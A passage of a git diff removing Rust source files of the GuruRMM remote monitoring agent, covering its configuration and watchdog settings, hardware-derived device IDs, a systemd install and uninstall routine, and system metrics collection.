collect_network: true, - } - } -} - -/// Watchdog configuration for service/process monitoring -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct WatchdogConfig { - /// Enable/disable watchdog functionality - #[serde(default)] - pub enabled: bool, - - /// Interval in seconds between watchdog checks (default: 30) - #[serde(default = "default_watchdog_interval")] - pub check_interval_seconds: u64, - - /// List of Windows/systemd services to monitor - #[serde(default)] - pub services: Vec, - - /// List of processes to monitor - #[serde(default)] - pub processes: Vec, -} - -impl Default for WatchdogConfig { - fn default() -> Self { - Self { - enabled: false, - check_interval_seconds: 30, - services: Vec::new(), - processes: Vec::new(), - } - } -} - -/// Configuration for monitoring a service -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct ServiceWatch { - /// Service name (e.g., "CagService" for Datto RMM, "Syncro" for Syncro) - pub name: String, - - /// Action to take when service is stopped - #[serde(default)] - pub action: WatchAction, - - /// Maximum number of restart attempts before alerting (default: 3) - #[serde(default = "default_max_restarts")] - pub max_restarts: u32, - - /// Cooldown period in seconds between restart attempts - #[serde(default = "default_restart_cooldown")] - pub restart_cooldown_seconds: u64, -} - -/// Configuration for monitoring a process -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct ProcessWatch { - /// Process name (e.g., "AEM.exe") - pub name: String, - - /// Action to take when process is not found - #[serde(default)] - pub action: WatchAction, - - /// Optional path to executable to start if process is not running - pub start_command: Option, -} - -/// Action to take when a watched service/process is down -#[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq)] -#[serde(rename_all = "lowercase")] -pub enum WatchAction { - /// Only send an alert to the server - #[default] - Alert, - - /// Attempt to restart the service/process - Restart, - - /// Ignore (for temporary disable without removing config) - Ignore, -} - -// Default value functions for serde -fn default_metrics_interval() -> u64 { - 60 -} - -fn default_watchdog_interval() -> u64 { - 30 -} - -fn default_max_restarts() -> u32 { - 3 -} - -fn default_restart_cooldown() -> u64 { - 60 -} - -fn default_true() -> bool { - true -} - -impl AgentConfig { - /// Load configuration from a TOML file - pub fn load(path: &Path) -> Result { - let content = std::fs::read_to_string(path) - .with_context(|| format!("Failed to read config file: {:?}", path))?; - - let config: Self = toml::from_str(&content) - .with_context(|| format!("Failed to parse config file: {:?}", path))?; - - config.validate()?; - Ok(config) - } - - /// Validate the configuration - fn validate(&self) -> Result<()> { - // Validate server URL - if self.server.url.is_empty() { - anyhow::bail!("Server URL cannot be empty"); - } - - if !self.server.url.starts_with("ws://") && !self.server.url.starts_with("wss://") { - anyhow::bail!("Server URL must start with ws:// or wss://"); - } - - // Validate API key - if self.server.api_key.is_empty() { - anyhow::bail!("API key cannot be empty"); - } - - // Validate intervals - if self.metrics.interval_seconds < 10 { - anyhow::bail!("Metrics interval must be at least 10 seconds"); - } - - if self.watchdog.check_interval_seconds < 5 { - anyhow::bail!("Watchdog check interval must be at least 5 seconds"); - } - - Ok(()) - } - - /// Generate a sample configuration - pub fn sample() -> Self { - Self { - server: ServerConfig { - url: "wss://rmm-api.azcomputerguru.com/ws".to_string(), - api_key: "your-api-key-here".to_string(), - hostname_override: None, - }, - metrics: MetricsConfig::default(), - watchdog: WatchdogConfig { - enabled: true, - check_interval_seconds: 30, - services: vec![ - ServiceWatch { - name: "CagService".to_string(), // Datto RMM - action: WatchAction::Restart, - max_restarts: 3, - restart_cooldown_seconds: 60, - }, - ServiceWatch { - name: "Syncro".to_string(), - action: WatchAction::Restart, - max_restarts: 3, - restart_cooldown_seconds: 60, - }, - ], - processes: vec![ProcessWatch { - name: "AEM.exe".to_string(), // Datto AEM - action: WatchAction::Alert, - start_command: None, - }], - }, - } - } - - /// Get the hostname to report to the server - pub fn get_hostname(&self) -> String { - self.server - .hostname_override - .clone() - .unwrap_or_else(|| hostname::get().map(|h| h.to_string_lossy().to_string()).unwrap_or_else(|_| "unknown".to_string())) - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_sample_config_is_valid_structure() { - let sample = AgentConfig::sample(); - // Sample uses placeholder values, so it won't pass full validation - // but the structure should be correct - assert!(!sample.server.url.is_empty()); - assert!(!sample.server.api_key.is_empty()); - assert!(sample.watchdog.enabled); - assert!(!sample.watchdog.services.is_empty()); - } - - #[test] - fn test_default_metrics_config() { - let config = MetricsConfig::default(); - assert_eq!(config.interval_seconds, 60); - assert!(config.collect_cpu); - assert!(config.collect_memory); - assert!(config.collect_disk); - assert!(config.collect_network); - } - - #[test] - fn test_watch_action_default() { - let action = WatchAction::default(); - assert_eq!(action, WatchAction::Alert); - } -} diff --git a/projects/msp-tools/guru-rmm/agent/src/device_id.rs b/projects/msp-tools/guru-rmm/agent/src/device_id.rs deleted file mode 100644 index 7583836..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/device_id.rs +++ /dev/null @@ -1,213 +0,0 @@ -//! Device ID generation -//! -//! Provides a stable, unique identifier for each machine that: -//! - Survives agent reinstalls -//! - Is hardware-derived when possible -//! - Falls back to a persisted UUID if hardware IDs are unavailable - -use anyhow::Result; -use std::fs; -use std::path::PathBuf; -use tracing::{debug, info, warn}; - -/// Get the device ID for this machine -/// -/// Priority: -/// 1. Hardware-based ID (MachineGuid on Windows, machine-id on Linux) -/// 2. Previously persisted ID -/// 3. Generate and persist a new UUID -pub fn get_device_id() -> String { - // Try hardware-based ID first - if let Some(id) = get_hardware_device_id() { - debug!("Using hardware-based device ID"); - return id; - } - - // Try to read a persisted ID - let persist_path = get_persist_path(); - if let Some(id) = read_persisted_id(&persist_path) { - debug!("Using persisted device ID from {:?}", persist_path); - return id; - } - - // Generate and persist a new ID - let new_id = generate_device_id(); - info!("Generated new device ID, persisting to {:?}", persist_path); - if let Err(e) = persist_device_id(&persist_path, &new_id) { - warn!("Failed to persist device ID: {}", e); - } - - new_id -} - -/// Generate a new device ID (UUID v4) -fn generate_device_id() -> String { - uuid::Uuid::new_v4().to_string() -} - -/// Get the path where device ID should be persisted -fn get_persist_path() -> PathBuf { - #[cfg(target_os = "windows")] - { - // %ProgramData%\GuruRMM\.device-id - let program_data = std::env::var("ProgramData") - .unwrap_or_else(|_| "C:\\ProgramData".to_string()); - PathBuf::from(program_data).join("GuruRMM").join(".device-id") - } - - #[cfg(not(target_os = "windows"))] - { - // /var/lib/gururmm/.device-id - PathBuf::from("/var/lib/gururmm/.device-id") - } -} - -/// Read a persisted device ID from disk -fn read_persisted_id(path: &PathBuf) -> Option { - fs::read_to_string(path) - .ok() - .map(|s| s.trim().to_string()) - .filter(|s| !s.is_empty() && s.len() < 100) -} - -/// Persist device ID to disk -fn persist_device_id(path: &PathBuf, id: &str) -> Result<()> { - // Create parent directory if needed - if let Some(parent) = path.parent() { - fs::create_dir_all(parent)?; - } - fs::write(path, id)?; - Ok(()) -} - -/// Get hardware-based device ID -#[cfg(target_os = "windows")] -fn get_hardware_device_id() -> Option { - // Try MachineGuid from registry - // HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid - use std::process::Command; - - let output = Command::new("reg") - .args([ - "query", - "HKLM\\SOFTWARE\\Microsoft\\Cryptography", - "/v", - "MachineGuid", - ]) - .output() - .ok()?; - - if !output.status.success() { - return None; - } - - let stdout = String::from_utf8_lossy(&output.stdout); - - // Parse the output: "MachineGuid REG_SZ " - for line in stdout.lines() { - if line.contains("MachineGuid") { - let parts: Vec<&str> = line.split_whitespace().collect(); - if parts.len() >= 3 { - let guid = parts.last()?.trim(); - if !guid.is_empty() && guid.len() > 20 { - return Some(format!("win-{}", guid)); - } - } - } - } - - None -} - -/// Get hardware-based device ID -#[cfg(target_os = "linux")] -fn get_hardware_device_id() -> Option { - // Try /etc/machine-id first (systemd) - if let Ok(id) = fs::read_to_string("/etc/machine-id") { - let id = id.trim(); - if !id.is_empty() && id.len() >= 32 { - return Some(format!("linux-{}", id)); - } - } - - // Try /var/lib/dbus/machine-id (older systems) - if let Ok(id) = fs::read_to_string("/var/lib/dbus/machine-id") { - let id = id.trim(); - if !id.is_empty() && id.len() >= 32 { - return Some(format!("linux-{}", id)); - } - } - - // Try SMBIOS product UUID (requires root usually) - if let Ok(id) = fs::read_to_string("/sys/class/dmi/id/product_uuid") { - let id = id.trim(); - if !id.is_empty() && id.len() > 20 { - return Some(format!("hw-{}", id)); - } - } - - None -} - -/// Get hardware-based device ID -#[cfg(target_os = "macos")] -fn get_hardware_device_id() -> Option { - use std::process::Command; - - // Try IOPlatformUUID - let output = Command::new("ioreg") - .args(["-rd1", "-c", "IOPlatformExpertDevice"]) - .output() - .ok()?; - - if !output.status.success() { - return None; - } - - let stdout = String::from_utf8_lossy(&output.stdout); - - // Parse: "IOPlatformUUID" = "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" - for line in stdout.lines() { - if line.contains("IOPlatformUUID") { - if let Some(start) = line.find('"') { - let rest = &line[start + 1..]; - if let Some(end) = rest.find('"') { - let uuid = &rest[..end]; - // Skip the first quote if double-quoted - let uuid = uuid.trim_start_matches('"'); - if !uuid.is_empty() && uuid.len() > 20 { - return Some(format!("mac-{}", uuid)); - } - } - } - } - } - - None -} - -/// Fallback for unsupported platforms -#[cfg(not(any(target_os = "windows", target_os = "linux", target_os = "macos")))] -fn get_hardware_device_id() -> Option { - None -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_get_device_id() { - let id = get_device_id(); - assert!(!id.is_empty()); - println!("Device ID: {}", id); - } - - #[test] - fn test_generate_device_id() { - let id1 = generate_device_id(); - let id2 = generate_device_id(); - assert_ne!(id1, id2); - assert!(id1.len() >= 32); - } -} diff --git a/projects/msp-tools/guru-rmm/agent/src/main.rs b/projects/msp-tools/guru-rmm/agent/src/main.rs deleted file mode 100644 index 4441e7e..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/main.rs +++ /dev/null @@ -1,704 +0,0 @@ -//! GuruRMM Agent - Cross-platform Remote Monitoring and Management Agent -//! -//! This agent connects to the GuruRMM server, reports system metrics, -//! monitors services (watchdog), and executes remote commands. - -mod claude; -mod config; -mod device_id; -mod metrics; -mod service; -mod transport; -mod tunnel; -mod updater; - -use anyhow::{Context, Result}; -use clap::{Parser, Subcommand}; -use std::path::PathBuf; -use std::sync::Arc; -use tokio::sync::RwLock; -use tracing::{error, info, warn}; - -use crate::config::AgentConfig; -use crate::metrics::MetricsCollector; -use crate::transport::WebSocketClient; - -/// GuruRMM Agent - Remote Monitoring and Management -#[derive(Parser)] -#[command(name = "gururmm-agent")] -#[command(author, version, about, long_about = None)] -struct Cli { - /// Path to configuration file - #[arg(short, long, default_value = "agent.toml")] - config: PathBuf, - - /// Subcommand to run - #[command(subcommand)] - command: Option, -} - -#[derive(Subcommand)] -enum Commands { - /// Run the agent (default) - Run, - - /// Install as a system service - Install { - /// Server WebSocket URL (e.g., wss://rmm-api.example.com/ws) - #[arg(long)] - server_url: Option, - - /// API key for authentication - #[arg(long)] - api_key: Option, - - /// Skip legacy service detection and cleanup - #[arg(long, default_value = "false")] - skip_legacy_check: bool, - }, - - /// Uninstall the system service - Uninstall, - - /// Start the installed service - Start, - - /// Stop the installed service - Stop, - - /// Show agent status - Status, - - /// Generate a sample configuration file - GenerateConfig { - /// Output path for config file - #[arg(short, long, default_value = "agent.toml")] - output: PathBuf, - }, - - /// Run as Windows service (called by SCM, not for manual use) - #[command(hide = true)] - Service, -} - -/// Shared application state -pub struct AppState { - pub config: AgentConfig, - pub metrics_collector: MetricsCollector, - pub connected: RwLock, -} - -#[tokio::main] -async fn main() -> Result<()> { - // Initialize logging - tracing_subscriber::fmt() - .with_env_filter( - tracing_subscriber::EnvFilter::from_default_env() - .add_directive("gururmm_agent=info".parse()?) - .add_directive("info".parse()?), - ) - .init(); - - let cli = Cli::parse(); - - match cli.command.unwrap_or(Commands::Run) { - Commands::Run => run_agent(cli.config).await, - Commands::Install { server_url, api_key, skip_legacy_check } => { - install_service(server_url, api_key, skip_legacy_check).await - } - Commands::Uninstall => uninstall_service().await, - Commands::Start => start_service().await, - Commands::Stop => stop_service().await, - Commands::Status => show_status(cli.config).await, - Commands::GenerateConfig { output } => generate_config(output).await, - Commands::Service => run_as_windows_service(), - } -} - -/// Run as a Windows service (called by SCM) -fn run_as_windows_service() -> Result<()> { - #[cfg(windows)] - { - service::windows::run_as_service() - } - - #[cfg(not(windows))] - { - anyhow::bail!("Windows service mode is only available on Windows"); - } -} - -/// Main agent runtime loop -async fn run_agent(config_path: PathBuf) -> Result<()> { - info!("GuruRMM Agent starting..."); - - // Load configuration - let config = AgentConfig::load(&config_path)?; - info!("Loaded configuration from {:?}", config_path); - info!("Server URL: {}", config.server.url); - - // Initialize metrics collector - let metrics_collector = MetricsCollector::new(); - info!("Metrics collector initialized"); - - // Create shared state - let state = Arc::new(AppState { - config: config.clone(), - metrics_collector, - connected: RwLock::new(false), - }); - - // Start the WebSocket client with auto-reconnect - let ws_state = Arc::clone(&state); - let ws_handle = tokio::spawn(async move { - loop { - info!("Connecting to server..."); - match WebSocketClient::connect_and_run(Arc::clone(&ws_state)).await { - Ok(_) => { - warn!("WebSocket connection closed normally, reconnecting..."); - } - Err(e) => { - error!("WebSocket error: {}, reconnecting in 10 seconds...", e); - } - } - - // Mark as disconnected - *ws_state.connected.write().await = false; - - // Wait before reconnecting - tokio::time::sleep(tokio::time::Duration::from_secs(10)).await; - } - }); - - // Start metrics collection loop - let metrics_state = Arc::clone(&state); - let metrics_handle = tokio::spawn(async move { - let interval = metrics_state.config.metrics.interval_seconds; - let mut interval_timer = tokio::time::interval(tokio::time::Duration::from_secs(interval)); - - loop { - interval_timer.tick().await; - - // Collect metrics (they'll be sent via WebSocket if connected) - let metrics = metrics_state.metrics_collector.collect().await; - if *metrics_state.connected.read().await { - info!( - "Metrics: CPU={:.1}%, Mem={:.1}%, Disk={:.1}%", - metrics.cpu_percent, metrics.memory_percent, metrics.disk_percent - ); - } - } - }); - - // Wait for shutdown signal - tokio::select! { - _ = tokio::signal::ctrl_c() => { - info!("Received shutdown signal"); - } - _ = ws_handle => { - error!("WebSocket task ended unexpectedly"); - } - _ = metrics_handle => { - error!("Metrics task ended unexpectedly"); - } - } - - info!("GuruRMM Agent shutting down"); - Ok(()) -} - -/// Install the agent as a system service -async fn install_service( - server_url: Option, - api_key: Option, - skip_legacy_check: bool, -) -> Result<()> { - #[cfg(windows)] - { - service::windows::install(server_url, api_key, skip_legacy_check) - } - - #[cfg(target_os = "linux")] - { - install_systemd_service(server_url, api_key, skip_legacy_check).await - } - - #[cfg(target_os = "macos")] - { - let _ = (server_url, api_key, skip_legacy_check); // Suppress unused warnings - return Err(anyhow::anyhow!( - "macOS launchd service installation is not yet implemented.\n\ - For now, you can run the agent manually or create a launchd plist.\n\ - See: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" - )); - } -} - -/// Legacy service names to check for and clean up (Linux) -#[cfg(target_os = "linux")] -const LINUX_LEGACY_SERVICE_NAMES: &[&str] = &[ - "gururmm", // Old name without -agent suffix - "guru-rmm-agent", // Alternative naming - "GuruRMM-Agent", // Case variant -]; - -/// Clean up legacy Linux service installations -#[cfg(target_os = "linux")] -fn cleanup_legacy_linux_services() -> Result<()> { - use std::process::Command; - - info!("Checking for legacy service installations..."); - - for legacy_name in LINUX_LEGACY_SERVICE_NAMES { - // Check if service exists - let status = Command::new("systemctl") - .args(["status", legacy_name]) - .output(); - - if let Ok(output) = status { - if output.status.success() || String::from_utf8_lossy(&output.stderr).contains("Loaded:") { - info!("Found legacy service '{}', removing...", legacy_name); - - // Stop the service - let _ = Command::new("systemctl") - .args(["stop", legacy_name]) - .status(); - - // Disable the service - let _ = Command::new("systemctl") - .args(["disable", legacy_name]) - .status(); - - // Remove unit file - let unit_file = format!("/etc/systemd/system/{}.service", legacy_name); - if std::path::Path::new(&unit_file).exists() { - info!("Removing legacy unit file: {}", unit_file); - let _ = std::fs::remove_file(&unit_file); - } - } - } - } - - // Check for legacy binaries in common locations - let legacy_binary_locations = [ - "/usr/local/bin/gururmm", - "/usr/bin/gururmm", - "/opt/gururmm/gururmm", - "/opt/gururmm/agent", - ]; - - for legacy_path in legacy_binary_locations { - if std::path::Path::new(legacy_path).exists() { - info!("Found legacy binary at '{}', removing...", legacy_path); - let _ = std::fs::remove_file(legacy_path); - } - } - - // Reload systemd to pick up removed unit files - let _ = Command::new("systemctl") - .args(["daemon-reload"]) - .status(); - - Ok(()) -} - -/// Install as a systemd service (Linux) -#[cfg(target_os = "linux")] -async fn install_systemd_service( - server_url: Option, - api_key: Option, - skip_legacy_check: bool, -) -> Result<()> { - use std::process::Command; - - const SERVICE_NAME: &str = "gururmm-agent"; - const INSTALL_DIR: &str = "/usr/local/bin"; - const CONFIG_DIR: &str = "/etc/gururmm"; - const SYSTEMD_DIR: &str = "/etc/systemd/system"; - - info!("Installing GuruRMM Agent as systemd service..."); - - // Check if running as root - if !nix::unistd::geteuid().is_root() { - anyhow::bail!("Installation requires root privileges. Please run with sudo."); - } - - // Clean up legacy installations unless skipped - if !skip_legacy_check { - if let Err(e) = cleanup_legacy_linux_services() { - warn!("Legacy cleanup warning: {}", e); - } - } - - // Get the current executable path - let current_exe = std::env::current_exe() - .context("Failed to get current executable path")?; - - let binary_dest = format!("{}/{}", INSTALL_DIR, SERVICE_NAME); - let config_dest = format!("{}/agent.toml", CONFIG_DIR); - let unit_file = format!("{}/{}.service", SYSTEMD_DIR, SERVICE_NAME); - - // Create config directory - info!("Creating config directory: {}", CONFIG_DIR); - std::fs::create_dir_all(CONFIG_DIR) - .context("Failed to create config directory")?; - - // Copy binary - info!("Copying binary to: {}", binary_dest); - std::fs::copy(¤t_exe, &binary_dest) - .context("Failed to copy binary")?; - - // Make binary executable - Command::new("chmod") - .args(["+x", &binary_dest]) - .status() - .context("Failed to set binary permissions")?; - - // Handle configuration - let config_needs_manual_edit; - if !std::path::Path::new(&config_dest).exists() { - info!("Creating config: {}", config_dest); - - // Start with sample config - let mut config = crate::config::AgentConfig::sample(); - - // Apply provided values - if let Some(url) = &server_url { - config.server.url = url.clone(); - } - if let Some(key) = &api_key { - config.server.api_key = key.clone(); - } - - let toml_str = toml::to_string_pretty(&config)?; - std::fs::write(&config_dest, toml_str) - .context("Failed to write config file")?; - - // Set restrictive permissions on config (contains API key) - Command::new("chmod") - .args(["600", &config_dest]) - .status() - .context("Failed to set config permissions")?; - - config_needs_manual_edit = server_url.is_none() || api_key.is_none(); - } else { - info!("Config already exists: {}", config_dest); - config_needs_manual_edit = false; - - // If server_url or api_key provided, update existing config - if server_url.is_some() || api_key.is_some() { - info!("Updating existing configuration..."); - let config_content = std::fs::read_to_string(&config_dest)?; - let mut config: crate::config::AgentConfig = toml::from_str(&config_content) - .context("Failed to parse existing config")?; - - if let Some(url) = &server_url { - config.server.url = url.clone(); - } - if let Some(key) = &api_key { - config.server.api_key = key.clone(); - } - - let toml_str = toml::to_string_pretty(&config)?; - std::fs::write(&config_dest, toml_str) - .context("Failed to update config file")?; - } - } - - // Create systemd unit file - let unit_content = format!(r#"[Unit] -Description=GuruRMM Agent - Remote Monitoring and Management -Documentation=https://github.com/azcomputerguru/gururmm -After=network-online.target -Wants=network-online.target - -[Service] -Type=simple -ExecStart={binary} --config {config} run -Restart=always -RestartSec=10 -StandardOutput=journal -StandardError=journal -SyslogIdentifier={service} - -# Security hardening -NoNewPrivileges=true -ProtectSystem=strict -ProtectHome=read-only -PrivateTmp=true -ReadWritePaths=/var/log - -[Install] -WantedBy=multi-user.target -"#, - binary = binary_dest, - config = config_dest, - service = SERVICE_NAME - ); - - info!("Creating systemd unit file: {}", unit_file); - std::fs::write(&unit_file, unit_content) - .context("Failed to write systemd unit file")?; - - // Reload systemd daemon - info!("Reloading systemd daemon..."); - let status = Command::new("systemctl") - .args(["daemon-reload"]) - .status() - .context("Failed to reload systemd")?; - - if !status.success() { - anyhow::bail!("systemctl daemon-reload failed"); - } - - // Enable the service - info!("Enabling service..."); - let status = Command::new("systemctl") - .args(["enable", SERVICE_NAME]) - .status() - .context("Failed to enable service")?; - - if !status.success() { - anyhow::bail!("systemctl enable failed"); - } - - println!("\n[OK] GuruRMM Agent installed successfully!"); - println!("\nInstalled files:"); - println!(" Binary: {}", binary_dest); - println!(" Config: {}", config_dest); - println!(" Service: {}", unit_file); - - if config_needs_manual_edit { - println!("\n[WARNING] IMPORTANT: Edit {} with your server URL and API key!", config_dest); - println!("\nNext steps:"); - println!(" 1. Edit {} with your server URL and API key", config_dest); - println!(" 2. Start the service: sudo systemctl start {}", SERVICE_NAME); - } else { - println!("\nStarting service..."); - let status = Command::new("systemctl") - .args(["start", SERVICE_NAME]) - .status(); - - if status.is_ok() && status.unwrap().success() { - println!("[OK] Service started successfully!"); - } else { - println!("[WARNING] Failed to start service. Check logs: sudo journalctl -u {} -f", SERVICE_NAME); - } - } - - println!("\nUseful commands:"); - println!(" Status: sudo systemctl status {}", SERVICE_NAME); - println!(" Logs: sudo journalctl -u {} -f", SERVICE_NAME); - println!(" Stop: sudo systemctl stop {}", SERVICE_NAME); - println!(" Start: sudo systemctl start {}", SERVICE_NAME); - - Ok(()) -} - -/// Uninstall the system service -async fn uninstall_service() -> Result<()> { - #[cfg(windows)] - { - service::windows::uninstall() - } - - #[cfg(target_os = "linux")] - { - uninstall_systemd_service().await - } - - #[cfg(target_os = "macos")] - { - return Err(anyhow::anyhow!( - "macOS launchd service uninstallation is not yet implemented.\n\ - If you created a launchd plist manually, remove it from ~/Library/LaunchAgents/ or /Library/LaunchDaemons/" - )); - } -} - -/// Uninstall systemd service (Linux) -#[cfg(target_os = "linux")] -async fn uninstall_systemd_service() -> Result<()> { - use std::process::Command; - - const SERVICE_NAME: &str = "gururmm-agent"; - const INSTALL_DIR: &str = "/usr/local/bin"; - const CONFIG_DIR: &str = "/etc/gururmm"; - const SYSTEMD_DIR: &str = "/etc/systemd/system"; - - info!("Uninstalling GuruRMM Agent..."); - - if !nix::unistd::geteuid().is_root() { - anyhow::bail!("Uninstallation requires root privileges. Please run with sudo."); - } - - let binary_path = format!("{}/{}", INSTALL_DIR, SERVICE_NAME); - let unit_file = format!("{}/{}.service", SYSTEMD_DIR, SERVICE_NAME); - - // Stop the service if running - info!("Stopping service..."); - let _ = Command::new("systemctl") - .args(["stop", SERVICE_NAME]) - .status(); - - // Disable the service - info!("Disabling service..."); - let _ = Command::new("systemctl") - .args(["disable", SERVICE_NAME]) - .status(); - - // Remove unit file - if std::path::Path::new(&unit_file).exists() { - info!("Removing unit file: {}", unit_file); - std::fs::remove_file(&unit_file)?; - } - - // Remove binary - if std::path::Path::new(&binary_path).exists() { - info!("Removing binary: {}", binary_path); - std::fs::remove_file(&binary_path)?; - } - - // Reload systemd - let _ = Command::new("systemctl") - .args(["daemon-reload"]) - .status(); - - println!("\n[OK] GuruRMM Agent uninstalled successfully!"); - println!("\nNote: Config directory {} was preserved.", CONFIG_DIR); - println!("Remove it manually if no longer needed: sudo rm -rf {}", CONFIG_DIR); - - Ok(()) -} - -/// Start the installed service -async fn start_service() -> Result<()> { - #[cfg(windows)] - { - service::windows::start() - } - - #[cfg(target_os = "linux")] - { - use std::process::Command; - - info!("Starting GuruRMM Agent service..."); - - let status = Command::new("systemctl") - .args(["start", "gururmm-agent"]) - .status() - .context("Failed to start service")?; - - if status.success() { - println!("[OK] Service started successfully"); - println!("Check status: sudo systemctl status gururmm-agent"); - } else { - anyhow::bail!("Failed to start service. Check: sudo journalctl -u gururmm-agent -n 50"); - } - - Ok(()) - } - - #[cfg(target_os = "macos")] - { - return Err(anyhow::anyhow!( - "macOS launchd service start is not yet implemented.\n\ - If you created a launchd plist manually, use: launchctl load " - )); - } -} - -/// Stop the installed service -async fn stop_service() -> Result<()> { - #[cfg(windows)] - { - service::windows::stop() - } - - #[cfg(target_os = "linux")] - { - use std::process::Command; - - info!("Stopping GuruRMM Agent service..."); - - let status = Command::new("systemctl") - .args(["stop", "gururmm-agent"]) - .status() - .context("Failed to stop service")?; - - if status.success() { - println!("[OK] Service stopped successfully"); - } else { - anyhow::bail!("Failed to stop service"); - } - - Ok(()) - } - - #[cfg(target_os = "macos")] - { - return Err(anyhow::anyhow!( - "macOS launchd service stop is not yet implemented.\n\ - If you created a launchd plist manually, use: launchctl unload " - )); - } -} - -/// Show agent status -async fn show_status(config_path: PathBuf) -> Result<()> { - // On Windows, show service status - #[cfg(windows)] - { - service::windows::status()?; - println!(); - } - - // Try to load config for additional info - match AgentConfig::load(&config_path) { - Ok(config) => { - println!("Configuration"); - println!("============="); - println!("Config file: {:?}", config_path); - println!("Server URL: {}", config.server.url); - println!("Metrics interval: {} seconds", config.metrics.interval_seconds); - println!("Watchdog enabled: {}", config.watchdog.enabled); - - // Collect current metrics - let collector = MetricsCollector::new(); - let metrics = collector.collect().await; - - println!("\nCurrent System Metrics:"); - println!(" CPU Usage: {:.1}%", metrics.cpu_percent); - println!(" Memory Usage: {:.1}%", metrics.memory_percent); - println!( - " Memory Used: {:.2} GB", - metrics.memory_used_bytes as f64 / 1_073_741_824.0 - ); - println!(" Disk Usage: {:.1}%", metrics.disk_percent); - println!( - " Disk Used: {:.2} GB", - metrics.disk_used_bytes as f64 / 1_073_741_824.0 - ); - } - Err(_) => { - println!("\nConfig file {:?} not found or invalid.", config_path); - #[cfg(windows)] - println!("Service config location: {}\\agent.toml", service::windows::CONFIG_DIR); - } - } - - Ok(()) -} - -/// Generate a sample configuration file -async fn generate_config(output: PathBuf) -> Result<()> { - let sample_config = AgentConfig::sample(); - let toml_str = toml::to_string_pretty(&sample_config)?; - - std::fs::write(&output, toml_str)?; - println!("Sample configuration written to {:?}", output); - println!("\nEdit this file with your server URL and API key, then run:"); - println!(" gururmm-agent --config {:?} run", output); - - Ok(()) -} diff --git a/projects/msp-tools/guru-rmm/agent/src/metrics/mod.rs b/projects/msp-tools/guru-rmm/agent/src/metrics/mod.rs deleted file mode 100644 index 3576124..0000000 --- a/projects/msp-tools/guru-rmm/agent/src/metrics/mod.rs +++ /dev/null @@ -1,605 +0,0 @@ -//! System metrics collection module -//! -//! Uses the `sysinfo` crate for cross-platform system metrics collection. -//! Collects CPU, memory, disk, and network statistics. -//! Uses `local-ip-address` for network interface enumeration. - -use chrono::{DateTime, Utc}; -use local_ip_address::list_afinet_netifas; -use serde::{Deserialize, Serialize}; -use std::collections::HashMap; -use std::net::IpAddr; -use std::sync::Mutex; -use sysinfo::{CpuRefreshKind, Disks, MemoryRefreshKind, Networks, RefreshKind, System, Users}; - -/// System metrics data structure -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct SystemMetrics { - /// Timestamp when metrics were collected - pub timestamp: DateTime, - - /// CPU usage percentage (0-100) - pub cpu_percent: f32, - - /// Memory usage percentage (0-100) - pub memory_percent: f32, - - /// Memory used in bytes - pub memory_used_bytes: u64, - - /// Total memory in bytes - pub memory_total_bytes: u64, - - /// Disk usage percentage (0-100) - primary disk - pub disk_percent: f32, - - /// Disk used in bytes - primary disk - pub disk_used_bytes: u64, - - /// Total disk space in bytes - primary disk - pub disk_total_bytes: u64, - - /// Network bytes received since last collection - pub network_rx_bytes: u64, - - /// Network bytes transmitted since last collection - pub network_tx_bytes: u64, - - /// Operating system type - pub os_type: String, - - /// Operating system version - pub os_version: String, - - /// System hostname - pub hostname: String, - - /// System uptime in seconds - #[serde(default)] - pub uptime_seconds: u64, - - /// Boot time as Unix timestamp - #[serde(default)] - pub boot_time: i64, - - /// Logged in username (if available) - #[serde(default)] - pub logged_in_user: Option, - - /// User idle time in seconds (time since last input) - #[serde(default)] - pub user_idle_seconds: Option, - - /// Public/WAN IP address (fetched periodically) - #[serde(default)] - pub public_ip: Option, -} - -/// Metrics collector using sysinfo -pub struct MetricsCollector { - /// System info instance (needs to be refreshed for each collection) - system: Mutex, - - /// Previous network stats for delta calculation - prev_network_rx: Mutex, - prev_network_tx: Mutex, - - /// Cached public IP (refreshed less frequently) - cached_public_ip: Mutex>, - - /// Last time public IP was fetched - last_public_ip_fetch: Mutex>, -} - -impl MetricsCollector { - /// Create a new metrics collector - pub fn new() -> Self { - // Create system with minimal initial refresh - let system = System::new_with_specifics( - RefreshKind::new() - .with_cpu(CpuRefreshKind::everything()) - .with_memory(MemoryRefreshKind::everything()), - ); - - Self { - system: Mutex::new(system), - prev_network_rx: Mutex::new(0), - prev_network_tx: Mutex::new(0), - cached_public_ip: Mutex::new(None), - last_public_ip_fetch: Mutex::new(None), - } - } - - /// Collect current system metrics - pub async fn collect(&self) -> SystemMetrics { - // Collect CPU - need to do two refreshes with delay for accurate reading - // We release the lock between operations to avoid holding MutexGuard across await - { - let mut system = self.system.lock().unwrap(); - system.refresh_cpu_all(); - } - - // Small delay for CPU measurement accuracy - tokio::time::sleep(tokio::time::Duration::from_millis(200)).await; - - // Collect all synchronous metrics first, in a block that releases all locks - let ( - cpu_percent, - memory_percent, - memory_used, - memory_total, - disk_percent, - disk_used, - disk_total, - delta_rx, - delta_tx, - os_type, - os_version, - hostname, - uptime_seconds, - boot_time, - logged_in_user, - user_idle_seconds, - ) = { - // Acquire system lock - let mut system = self.system.lock().unwrap(); - system.refresh_cpu_all(); - system.refresh_memory(); - - // Calculate CPU usage (average across all cores) - let cpu_percent = system.global_cpu_usage(); - - // Memory metrics - let memory_used = system.used_memory(); - let memory_total = system.total_memory(); - let memory_percent = if memory_total > 0 { - (memory_used as f32 / memory_total as f32) * 100.0 - } else { - 0.0 - }; - - // Disk metrics (use first/primary disk) - let disks = Disks::new_with_refreshed_list(); - let (disk_used, disk_total, disk_percent) = disks - .iter() - .next() - .map(|d| { - let total = d.total_space(); - let available = d.available_space(); - let used = total.saturating_sub(available); - let percent = if total > 0 { - (used as f32 / total as f32) * 100.0 - } else { - 0.0 - }; - (used, total, percent) - }) - 